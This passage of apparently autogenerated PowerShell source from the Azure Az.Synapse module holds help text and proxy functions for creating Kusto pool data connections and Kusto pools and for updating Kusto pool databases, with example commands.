endpoint for the data connection [Location <String>]: Resource location. [SystemDataCreatedAt <DateTime?>]: The timestamp of resource creation (UTC). [SystemDataCreatedBy <String>]: The identity that created the resource. [SystemDataCreatedByType <CreatedByType?>]: The type of identity that created the resource. [SystemDataLastModifiedAt <DateTime?>]: The timestamp of resource last modification (UTC) [SystemDataLastModifiedBy <String>]: The identity that last modified the resource. [SystemDataLastModifiedByType <CreatedByType?>]: The type of identity that last modified the resource. .Link https://learn.microsoft.com/powershell/module/az.synapse/new-azsynapsekustopooldataconnection #> function New-AzSynapseKustoPoolDataConnection { [OutputType([Microsoft.Azure.PowerShell.Cmdlets.Synapse.Models.Api20210601Preview.IDataConnection])] [CmdletBinding(DefaultParameterSetName='CreateExpanded', PositionalBinding=$false, SupportsShouldProcess, ConfirmImpact='Medium')] param( [Parameter(Mandatory)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Path')] [System.String] # The name of the data connection. ${DataConnectionName}, [Parameter(Mandatory)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Path')] [System.String] # The name of the database in the Kusto pool. ${DatabaseName}, [Parameter(Mandatory)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Path')] [System.String] # The name of the Kusto pool. ${KustoPoolName}, [Parameter(Mandatory)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Path')] [System.String] # The name of the resource group. # The name is case insensitive. ${ResourceGroupName}, [Parameter(Mandatory)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Path')] [System.String] # The name of the workspace ${WorkspaceName}, [Parameter()] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Path')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Runtime.DefaultInfo(Script='(Get-AzContext).Subscription.Id')] [System.String] # The ID of the target subscription. ${SubscriptionId}, [Parameter(ParameterSetName='Create', Mandatory, ValueFromPipeline)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Body')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Models.Api20210601Preview.IDataConnection] # Class representing a data connection. # To construct, see NOTES section for PARAMETER properties and create a hash table. ${Parameter}, [Parameter(ParameterSetName='CreateExpanded', Mandatory)] [ArgumentCompleter([Microsoft.Azure.PowerShell.Cmdlets.Synapse.Support.DataConnectionKind])] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Body')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Support.DataConnectionKind] # Kind of the endpoint for the data connection ${Kind}, [Parameter(ParameterSetName='CreateExpanded')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Body')] [System.String] # Resource location. ${Location}, [Parameter()] [Alias('AzureRMContext', 'AzureCredential')] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Azure')] [System.Management.Automation.PSObject] # The DefaultProfile parameter is not functional. # Use the SubscriptionId parameter when available if executing the cmdlet against a different subscription. ${DefaultProfile}, [Parameter()] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [System.Management.Automation.SwitchParameter] # Run the command as a job ${AsJob}, [Parameter(DontShow)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [System.Management.Automation.SwitchParameter] # Wait for .NET debugger to attach ${Break}, [Parameter(DontShow)] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Runtime.SendAsyncStep[]] # SendAsync Pipeline Steps to be appended to the front of the pipeline ${HttpPipelineAppend}, [Parameter(DontShow)] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Runtime.SendAsyncStep[]] # SendAsync Pipeline Steps to be prepended to the front of the pipeline ${HttpPipelinePrepend}, [Parameter()] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [System.Management.Automation.SwitchParameter] # Run the command asynchronously ${NoWait}, [Parameter(DontShow)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [System.Uri] # The URI for the proxy server to use ${Proxy}, [Parameter(DontShow)] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [System.Management.Automation.PSCredential] # Credentials for a proxy server to use for the remote call ${ProxyCredential}, [Parameter(DontShow)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [System.Management.Automation.SwitchParameter] # Use the default credentials for the proxy ${ProxyUseDefaultCredentials} ) begin { try { $outBuffer = $null if ($PSBoundParameters.TryGetValue('OutBuffer', [ref]$outBuffer)) { $PSBoundParameters['OutBuffer'] = 1 } $parameterSet = $PSCmdlet.ParameterSetName $mapping = @{ Create = 'Az.Synapse.private\New-AzSynapseKustoPoolDataConnection_Create'; CreateExpanded = 'Az.Synapse.private\New-AzSynapseKustoPoolDataConnection_CreateExpanded'; } if (('Create', 'CreateExpanded') -contains $parameterSet -and -not $PSBoundParameters.ContainsKey('SubscriptionId')) { $testPlayback = $false $PSBoundParameters['HttpPipelinePrepend'] | Foreach-Object { if ($_) { $testPlayback = $testPlayback -or ('Microsoft.Azure.PowerShell.Cmdlets.Synapse.Runtime.PipelineMock' -eq $_.Target.GetType().FullName -and 'Playback' -eq $_.Target.Mode) } } if ($testPlayback) { $PSBoundParameters['SubscriptionId'] = . (Join-Path $PSScriptRoot '..' 'utils' 'Get-SubscriptionIdTestSafe.ps1') } else { $PSBoundParameters['SubscriptionId'] = (Get-AzContext).Subscription.Id } } $wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand(($mapping[$parameterSet]), [System.Management.Automation.CommandTypes]::Cmdlet) $scriptCmd = {& $wrappedCmd @PSBoundParameters} $steppablePipeline = $scriptCmd.GetSteppablePipeline($MyInvocation.CommandOrigin) $steppablePipeline.Begin($PSCmdlet) } catch { throw } } process { try { $steppablePipeline.Process($_) } catch { throw } } end { try { $steppablePipeline.End() } catch { throw } } } <# .Synopsis Create or update a Kusto pool. .Description Create or update a Kusto pool. .Example New-AzSynapseKustoPool -ResourceGroupName testrg -WorkspaceName testws -Name testnewkustopool -Location 'East US' -SkuName "Storage optimized" -SkuSize Medium .Inputs Microsoft.Azure.PowerShell.Cmdlets.Synapse.Models.Api20210601Preview.IKustoPool .Outputs Microsoft.Azure.PowerShell.Cmdlets.Synapse.Models.Api20210601Preview.IKustoPool .Notes COMPLEX PARAMETER PROPERTIES To create the parameters described below, construct a hash table containing the appropriate properties. For information on hash tables, run Get-Help about_Hash_Tables. PARAMETER <IKustoPool>: Class representing a Kusto kusto pool. Location <String>: The geo-location where the resource lives SkuName <SkuName>: SKU name. SkuSize <SkuSize>: SKU size. [Tag <ITrackedResourceTags>]: Resource tags. [(Any) <String>]: This indicates any property can be added to this object. [EnablePurge <Boolean?>]: A boolean value that indicates if the purge operations are enabled. [EnableStreamingIngest <Boolean?>]: A boolean value that indicates if the streaming ingest is enabled. [LanguageExtensionValue <ILanguageExtension[]>]: The list of language extensions. [Name <LanguageExtensionName?>]: The language extension name. [OptimizedAutoscaleIsEnabled <Boolean?>]: A boolean value that indicate if the optimized autoscale feature is enabled or not. [OptimizedAutoscaleMaximum <Int32?>]: Maximum allowed instances count. [OptimizedAutoscaleMinimum <Int32?>]: Minimum allowed instances count. [OptimizedAutoscaleVersion <Int32?>]: The version of the template defined, for instance 1. [SkuCapacity <Int32?>]: The number of instances of the cluster. [SystemDataCreatedAt <DateTime?>]: The timestamp of resource creation (UTC). [SystemDataCreatedBy <String>]: The identity that created the resource. [SystemDataCreatedByType <CreatedByType?>]: The type of identity that created the resource. [SystemDataLastModifiedAt <DateTime?>]: The timestamp of resource last modification (UTC) [SystemDataLastModifiedBy <String>]: The identity that last modified the resource. [SystemDataLastModifiedByType <CreatedByType?>]: The type of identity that last modified the resource. [WorkspaceUid <String>]: The workspace unique identifier. .Link https://learn.microsoft.com/powershell/module/az.synapse/new-azsynapsekustopool #> function New-AzSynapseKustoPool { [OutputType([Microsoft.Azure.PowerShell.Cmdlets.Synapse.Models.Api20210601Preview.IKustoPool])] [CmdletBinding(DefaultParameterSetName='CreateExpanded', PositionalBinding=$false, SupportsShouldProcess, ConfirmImpact='Medium')] param( [Parameter(Mandatory)] [Alias('KustoPoolName')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Path')] [System.String] # The name of the Kusto pool. ${Name}, [Parameter(Mandatory)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Path')] [System.String] # The name of the resource group. # The name is case insensitive. ${ResourceGroupName}, [Parameter(Mandatory)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Path')] [System.String] # The name of the workspace ${WorkspaceName}, [Parameter()] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Path')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Runtime.DefaultInfo(Script='(Get-AzContext).Subscription.Id')] [System.String] # The ID of the target subscription. ${SubscriptionId}, [Parameter()] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Header')] [System.String] # The ETag of the Kusto Pool. # Omit this value to always overwrite the current Kusto Pool. # Specify the last-seen ETag value to prevent accidentally overwriting concurrent changes. ${IfMatch}, [Parameter()] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Header')] [System.String] # Set to '*' to allow a new Kusto Pool to be created, but to prevent updating an existing Kusto Pool. # Other values will result in a 412 Pre-condition Failed response. ${IfNoneMatch}, [Parameter(ParameterSetName='Create', Mandatory, ValueFromPipeline)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Body')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Models.Api20210601Preview.IKustoPool] # Class representing a Kusto kusto pool. # To construct, see NOTES section for PARAMETER properties and create a hash table. ${Parameter}, [Parameter(ParameterSetName='CreateExpanded', Mandatory)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Body')] [System.String] # The geo-location where the resource lives ${Location}, [Parameter(ParameterSetName='CreateExpanded', Mandatory)] [ArgumentCompleter([Microsoft.Azure.PowerShell.Cmdlets.Synapse.Support.SkuName])] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Body')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Support.SkuName] # SKU name. ${SkuName}, [Parameter(ParameterSetName='CreateExpanded', Mandatory)] [ArgumentCompleter([Microsoft.Azure.PowerShell.Cmdlets.Synapse.Support.SkuSize])] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Body')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Support.SkuSize] # SKU size. ${SkuSize}, [Parameter(ParameterSetName='CreateExpanded')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Body')] [System.Management.Automation.SwitchParameter] # A boolean value that indicates if the purge operations are enabled. ${EnablePurge}, [Parameter(ParameterSetName='CreateExpanded')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Body')] [System.Management.Automation.SwitchParameter] # A boolean value that indicates if the streaming ingest is enabled. ${EnableStreamingIngest}, [Parameter(ParameterSetName='CreateExpanded')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Body')] [System.Management.Automation.SwitchParameter] # A boolean value that indicate if the optimized autoscale feature is enabled or not. ${OptimizedAutoscaleIsEnabled}, [Parameter(ParameterSetName='CreateExpanded')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Body')] [System.Int32] # Maximum allowed instances count. ${OptimizedAutoscaleMaximum}, [Parameter(ParameterSetName='CreateExpanded')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Body')] [System.Int32] # Minimum allowed instances count. ${OptimizedAutoscaleMinimum}, [Parameter(ParameterSetName='CreateExpanded')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Body')] [System.Int32] # The version of the template defined, for instance 1. ${OptimizedAutoscaleVersion}, [Parameter(ParameterSetName='CreateExpanded')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Body')] [System.Int32] # The number of instances of the cluster. ${SkuCapacity}, [Parameter(ParameterSetName='CreateExpanded')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Body')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Runtime.Info(PossibleTypes=([Microsoft.Azure.PowerShell.Cmdlets.Synapse.Models.Api10.ITrackedResourceTags]))] [System.Collections.Hashtable] # Resource tags. ${Tag}, [Parameter(ParameterSetName='CreateExpanded')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Body')] [System.String] # The workspace unique identifier. ${WorkspaceUid}, [Parameter()] [Alias('AzureRMContext', 'AzureCredential')] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Azure')] [System.Management.Automation.PSObject] # The DefaultProfile parameter is not functional. # Use the SubscriptionId parameter when available if executing the cmdlet against a different subscription. ${DefaultProfile}, [Parameter()] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [System.Management.Automation.SwitchParameter] # Run the command as a job ${AsJob}, [Parameter(DontShow)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [System.Management.Automation.SwitchParameter] # Wait for .NET debugger to attach ${Break}, [Parameter(DontShow)] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Runtime.SendAsyncStep[]] # SendAsync Pipeline Steps to be appended to the front of the pipeline ${HttpPipelineAppend}, [Parameter(DontShow)] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Runtime.SendAsyncStep[]] # SendAsync Pipeline Steps to be prepended to the front of the pipeline ${HttpPipelinePrepend}, [Parameter()] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [System.Management.Automation.SwitchParameter] # Run the command asynchronously ${NoWait}, [Parameter(DontShow)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [System.Uri] # The URI for the proxy server to use ${Proxy}, [Parameter(DontShow)] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [System.Management.Automation.PSCredential] # Credentials for a proxy server to use for the remote call ${ProxyCredential}, [Parameter(DontShow)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [System.Management.Automation.SwitchParameter] # Use the default credentials for the proxy ${ProxyUseDefaultCredentials} ) begin { try { $outBuffer = $null if ($PSBoundParameters.TryGetValue('OutBuffer', [ref]$outBuffer)) { $PSBoundParameters['OutBuffer'] = 1 } $parameterSet = $PSCmdlet.ParameterSetName $mapping = @{ Create = 'Az.Synapse.private\New-AzSynapseKustoPool_Create'; CreateExpanded = 'Az.Synapse.private\New-AzSynapseKustoPool_CreateExpanded'; } if (('Create', 'CreateExpanded') -contains $parameterSet -and -not $PSBoundParameters.ContainsKey('SubscriptionId')) { $testPlayback = $false $PSBoundParameters['HttpPipelinePrepend'] | Foreach-Object { if ($_) { $testPlayback = $testPlayback -or ('Microsoft.Azure.PowerShell.Cmdlets.Synapse.Runtime.PipelineMock' -eq $_.Target.GetType().FullName -and 'Playback' -eq $_.Target.Mode) } } if ($testPlayback) { $PSBoundParameters['SubscriptionId'] = . (Join-Path $PSScriptRoot '..' 'utils' 'Get-SubscriptionIdTestSafe.ps1') } else { $PSBoundParameters['SubscriptionId'] = (Get-AzContext).Subscription.Id } } $wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand(($mapping[$parameterSet]), [System.Management.Automation.CommandTypes]::Cmdlet) $scriptCmd = {& $wrappedCmd @PSBoundParameters} $steppablePipeline = $scriptCmd.GetSteppablePipeline($MyInvocation.CommandOrigin) $steppablePipeline.Begin($PSCmdlet) } catch { throw } } process { try { $steppablePipeline.Process($_) } catch { throw } } end { try { $steppablePipeline.End() } catch { throw } } } <# .Synopsis Updates a database. .Description Updates a database. .Example $2ds = New-TimeSpan -Days 2 $4ds = New-TimeSpan -Days 4 Update-AzSynapseKustoPoolDatabase -ResourceGroupName testrg -WorkspaceName testws -KustoPoolName testkustopool -DatabaseName mykustodatabase -Kind ReadWrite -SoftDeletePeriod $4ds -HotCachePeriod $2ds -Location 'East US' .Example $database = Get-AzSynapseKustoPoolDatabase -ResourceGroupName testrg -WorkspaceName testws -KustoPoolName testkustopool -DatabaseName mykustodatabase $2ds = New-TimeSpan -Days 2 $4ds = New-TimeSpan -Days 4 Update-AzSynapseKustoPoolDatabase -InputObject $database -Kind ReadWrite -SoftDeletePeriod $4ds -HotCachePeriod $2ds -Location 'East US' .Inputs Microsoft.Azure.PowerShell.Cmdlets.Synapse.Models.Api20210601Preview.IDatabase .Inputs Microsoft.Azure.PowerShell.Cmdlets.Synapse.Models.ISynapseIdentity .Outputs Microsoft.Azure.PowerShell.Cmdlets.Synapse.Models.Api20210601Preview.IDatabase .Notes COMPLEX PARAMETER PROPERTIES To create the parameters described below, construct a hash table containing the appropriate properties. For information on hash tables, run Get-Help about_Hash_Tables. INPUTOBJECT <ISynapseIdentity>: Identity Parameter [AttachedDatabaseConfigurationName <String>]: The name of the attached database configuration. [DataConnectionName <String>]: The name of the data connection. [DatabaseName <String>]: The name of the database in the Kusto pool. [Id <String>]: Resource identity path [KustoPoolName <String>]: The name of the Kusto pool. [Location <String>]: The name of Azure region. [PrincipalAssignmentName <String>]: The name of the Kusto principalAssignment. [ResourceGroupName <String>]: The name of the resource group. The name is case insensitive. [SubscriptionId <String>]: The ID of the target subscription. [WorkspaceName <String>]: The name of the workspace PARAMETER <IDatabase>: Class representing a Kusto database. Kind <Kind>: Kind of the database [Location <String>]: Resource location. [SystemDataCreatedAt <DateTime?>]: The timestamp of resource creation (UTC). [SystemDataCreatedBy <String>]: The identity that created the resource. [SystemDataCreatedByType <CreatedByType?>]: The type of identity that created the resource. [SystemDataLastModifiedAt <DateTime?>]: The timestamp of resource last modification (UTC) [SystemDataLastModifiedBy <String>]: The identity that last modified the resource. [SystemDataLastModifiedByType <CreatedByType?>]: The type of identity that last modified the resource. .Link https://learn.microsoft.com/powershell/module/az.synapse/update-azsynapsekustopooldatabase #> function Update-AzSynapseKustoPoolDatabase { [OutputType([Microsoft.Azure.PowerShell.Cmdlets.Synapse.Models.Api20210601Preview.IDatabase])] [CmdletBinding(DefaultParameterSetName='UpdateExpanded', PositionalBinding=$false, SupportsShouldProcess, ConfirmImpact='Medium')] param( [Parameter(ParameterSetName='Update', Mandatory)] [Parameter(ParameterSetName='UpdateExpanded', Mandatory)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Path')] [System.String] # The name of the database in the Kusto pool. ${DatabaseName}, [Parameter(ParameterSetName='Update', Mandatory)] [Parameter(ParameterSetName='UpdateExpanded', Mandatory)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Path')] [System.String] # The name of the Kusto pool. ${KustoPoolName}, [Parameter(ParameterSetName='Update', Mandatory)] [Parameter(ParameterSetName='UpdateExpanded', Mandatory)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Path')] [System.String] # The name of the resource group. # The name is case insensitive. ${ResourceGroupName}, [Parameter(ParameterSetName='Update')] [Parameter(ParameterSetName='UpdateExpanded')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Path')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Runtime.DefaultInfo(Script='(Get-AzContext).Subscription.Id')] [System.String] # The ID of the target subscription. ${SubscriptionId}, [Parameter(ParameterSetName='Update', Mandatory)] [Parameter(ParameterSetName='UpdateExpanded', Mandatory)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Path')] [System.String] # The name of the workspace ${WorkspaceName}, [Parameter(ParameterSetName='UpdateViaIdentity', Mandatory, ValueFromPipeline)] [Parameter(ParameterSetName='UpdateViaIdentityExpanded', Mandatory, ValueFromPipeline)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Path')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Models.ISynapseIdentity] # Identity Parameter # To construct, see NOTES section for INPUTOBJECT properties and create a hash table. ${InputObject}, [Parameter(ParameterSetName='Update', Mandatory, ValueFromPipeline)] [Parameter(ParameterSetName='UpdateViaIdentity', Mandatory, ValueFromPipeline)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Body')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Models.Api20210601Preview.IDatabase] # Class representing a Kusto database. # To construct, see NOTES section for PARAMETER properties and create a hash table. ${Parameter}, [Parameter(ParameterSetName='UpdateExpanded', Mandatory)] [Parameter(ParameterSetName='UpdateViaIdentityExpanded', Mandatory)] [ArgumentCompleter([Microsoft.Azure.PowerShell.Cmdlets.Synapse.Support.Kind])] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Body')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Support.Kind] # Kind of the database ${Kind}, [Parameter(ParameterSetName='UpdateExpanded')] [Parameter(ParameterSetName='UpdateViaIdentityExpanded')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Body')] [System.String] # Resource location. ${Location}, [Parameter()] [Alias('AzureRMContext', 'AzureCredential')] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Azure')] [System.Management.Automation.PSObject] # The DefaultProfile parameter is not functional. # Use the SubscriptionId parameter when available if executing the cmdlet against a different subscription. ${DefaultProfile}, [Parameter()] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [System.Management.Automation.SwitchParameter] # Run the command as a job ${AsJob}, [Parameter(DontShow)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [System.Management.Automation.SwitchParameter] # Wait for .NET debugger to attach ${Break}, [Parameter(DontShow)] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Runtime.SendAsyncStep[]] # SendAsync Pipeline Steps to be appended to the front of the pipeline ${HttpPipelineAppend}, [Parameter(DontShow)] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Runtime.SendAsyncStep[]] # SendAsync Pipeline Steps to be prepended to the front of the pipeline ${HttpPipelinePrepend}, [Parameter()] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [System.Management.Automation.SwitchParameter] # Run the command asynchronously ${NoWait}, [Parameter(DontShow)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [System.Uri] # The URI for the proxy server to use ${Proxy}, [Parameter(DontShow)] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [System.Management.Automation.PSCredential] # Credentials for a proxy server to use for the remote call ${ProxyCredential}, [Parameter(DontShow)] [Microsoft.Azure.PowerShell.Cmdlets.Synapse.Category('Runtime')] [System.Management.Automation.SwitchParameter] # Use the default credentials for the proxy ${ProxyUseDefaultCredentials} ) begin { try { $outBuffer = $null if ($PSBoundParameters.TryGetValue('OutBuffer', [ref]$outBuffer)) { $PSBoundParameters['OutBuffer'] = 1 } $parameterSet = $PSCmdlet.ParameterSetName $mapping = @{ Update = 'Az.Synapse.private\Update-AzSynapseKustoPoolDatabase_Update'; UpdateExpanded = 'Az.Synapse.private\Update-AzSynapseKustoPoolDatabase_UpdateExpanded'; UpdateViaIdentity = 'Az.Synapse.private\Update-AzSynapseKustoPoolDatabase_UpdateViaIdentity'; UpdateViaIdentityExpanded = 'Az.Synapse.private\Update-AzSynapseKustoPoolDatabase_UpdateViaIdentityExpanded'; } if (('Update', 'UpdateExpanded') -contains $parameterSet -and -not $PSBoundParameters.ContainsKey('SubscriptionId')) { $testPlayback = $false $PSBoundParameters['HttpPipelinePrepend'] | Foreach-Object { if ($_) { $testPlayback = $testPlayback -or ('Microsoft.Azure.PowerShell.Cmdlets.Synapse.Runtime.PipelineMock' -eq $_.Target.GetType().FullName -and 'Playback' -eq $_.Target.Mode) } } if ($testPlayback) { $PSBoundParameters['SubscriptionId'] = . (Join-Path $PSScriptRoot '..' 'utils' 'Get-SubscriptionIdTestSafe.ps1') } else { $PSBoundParameters['SubscriptionId'] = (Get-AzContext).Subscription.Id } } $wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand(($mapping[$parameterSet]), [System.Management.Automation.CommandTypes]::Cmdlet) $scriptCmd = {& $wrappedCmd @PSBoundParameters} $steppablePipeline = $scriptCmd.GetSteppablePipeline($MyInvocation.CommandOrigin) $steppablePipeline.Begin($PSCmdlet) } catch { throw } } process { try { $steppablePipeline.Process($_) } catch { throw } } end { try { $steppablePipeline.End() } catch { throw } } } <# .Synopsis Updates a data connection. .Description Updates a data connection. .Example Update-AzSynapseKustoPoolDataConnection -ResourceGroupName testrg -WorkspaceName testws -KustoPoolName testkustopool -DatabaseName testdatabase -Name eventhubdc -Location eastus2 -Kind EventHub -EventHubResourceId "/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/testrg/providers/Microsoft.EventHub/namespaces/testeventhubns/eventhubs/testeventhub" -DataFormat "JSON" -ConsumerGroup '$Default' -Compression "None" -TableName "Events" -MappingRuleName "EventsMapping" .Example Update-AzSynapseKustoPoolDataConnection -ResourceGroupName testrg -WorkspaceName testws -KustoPoolName testkustopool -DatabaseName testdatabase -Name eventgriddc -Location eastus2 -Kind EventGrid -EventHubResourceId "/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/testrg/providers/Microsoft.EventHub/namespaces/testeventhubns/eventhubs/testeventhub" -StorageAccountResourceId "/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/testrg/providers/Microsoft.Storage/storageAccounts/teststorage" -DataFormat "JSON" -ConsumerGroup '$Default' -TableName "Events" -MappingRuleName "EventsMapping" .Example Update-AzSynapseKustoPoolDataConnection -ResourceGroupName testrg -WorkspaceName testws -KustoPoolName testkustopool -DatabaseName testdatabase -Name iothubdc -Location eastus2 -Kind IotHub -IotHubResourceId "/subscriptions/051ddeca-1ed6-4d8b-ba6f-1ff561e5f3b3/resourceGroups/ywtest/providers/Microsoft.Devices/IotHubs/ywtestiothub" -SharedAccessPolicyName registryRead -DataFormat "JSON" -ConsumerGroup '$Default' -TableName "Events" -MappingRuleName "EventsMapping" .Example $dataConnection = Get-AzSynapseKustoPoolDataConnection -ResourceGroupName testrg -WorkspaceName testws -KustoPoolName testkustopool -DatabaseName testdatabase -Name eventhubdc Update-AzSynapseKustoPoolDataConnection -InputObject $dataConnection -Location eastus2 -Kind EventHub -EventHubResourceId "/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/testrg/providers/Microsoft.EventHub/namespaces/testeventhubns/eventhubs/testeventhub" -DataFormat "JSON" -ConsumerGroup '$Default' -Compression "None" -TableName "Events" -MappingRuleName "EventsMapping" .Example $dataConnection = Get-AzSynapseKustoPoolDataConnection -ResourceGroupName testrg -WorkspaceName testws -KustoPoolName testkustopool -DatabaseName testdatabase -Name eventgriddc Update-AzSynapseKustoPoolDataConnection -InputObject $dataConnection -Location eastus2 -Kind EventGrid -EventHubResourceId "/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/testrg/providers/Microsoft.EventHub/namespaces/testeventhubns/eventhubs/testeventhub" -StorageAccountResourceId "/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/testrg/providers/Microsoft.Storage/storageAccounts/teststorage" -DataFormat "JSON" -ConsumerGroup '$Default' -TableName "Events" -MappingRuleName "EventsMapping" .Example $dataConnection = Get-AzSynapseKustoPoolDataConnection -ResourceGroupName testrg -WorkspaceName testws -KustoPoolName testkustopool -DatabaseName testdatabase -Name iothubdc Update-AzSynapseKustoPoolDataConnection -InputObject $dataConnection -Location eastus2 -Kind IotHub -IotHubResourceId "/subscriptions/051ddeca-1ed6-4d8b-ba6f-1ff561e5f3b3/resourceGroups/ywtest/providers/Microsoft.Devices/IotHubs/ywtestiothub" -SharedAccessPolicyName registryRead -DataFormat "JSON" -ConsumerGroup '$Default' -TableName "Events" -MappingRuleName "EventsMapping" .Inputs Microsoft.Azure.PowerShell.Cmdlets.Synapse.Models.Api20210601Preview.IDataConnection .Inputs Microsoft.Azure.PowerShell.Cmdlets.Synapse.Models.ISynapseIdentity .Outputs Microsoft.Azure.PowerShell.Cmdlets.Synapse.Models.Api20210601Preview.IDataConnection .Notes COMPLEX PARAMETER PROPERTIES To create the parameters described below, construct a hash table containing the appropriate properties. For information on hash tables, run Get-Help about_Hash_Tables. INPUTOBJECT <ISynapseIdentity>: Identity Parameter [AttachedDatabaseConfigurationName <String>]: The name of the attached database configuration. [DataConnectionName <String>]: The name of the data connection. [DatabaseName <String>]: The name of the database in the Kusto pool. [Id <String>]: Resource identity path [KustoPoolName <String>]: The name of the Kusto pool. [Location <String>]: The name of Azure region. [PrincipalAssignmentName <String>]: The name of the Kusto principalAssignment. [ResourceGroupName <String>]: The name of the resource group. The name is case insensitive. [SubscriptionId <String>]: The ID of the target subscription. [WorkspaceName <String>]: The name of the workspace PARAMETER <IDataConnection>: Class representing a data connection. Kind <DataConnectionKind>: Kind of the endpoint for the data connection [Location <String>]: Resource location. [SystemDataCreatedAt <DateTime?>]: The timestamp of resource creation (UTC). [SystemDataCreatedBy <String>]: The identity that created the resource. [SystemDataCreatedByType <CreatedByType?>]: The type of identity that created the resource. [SystemDataLastModifiedAt <DateTime?>]: The timestamp of resource last modification 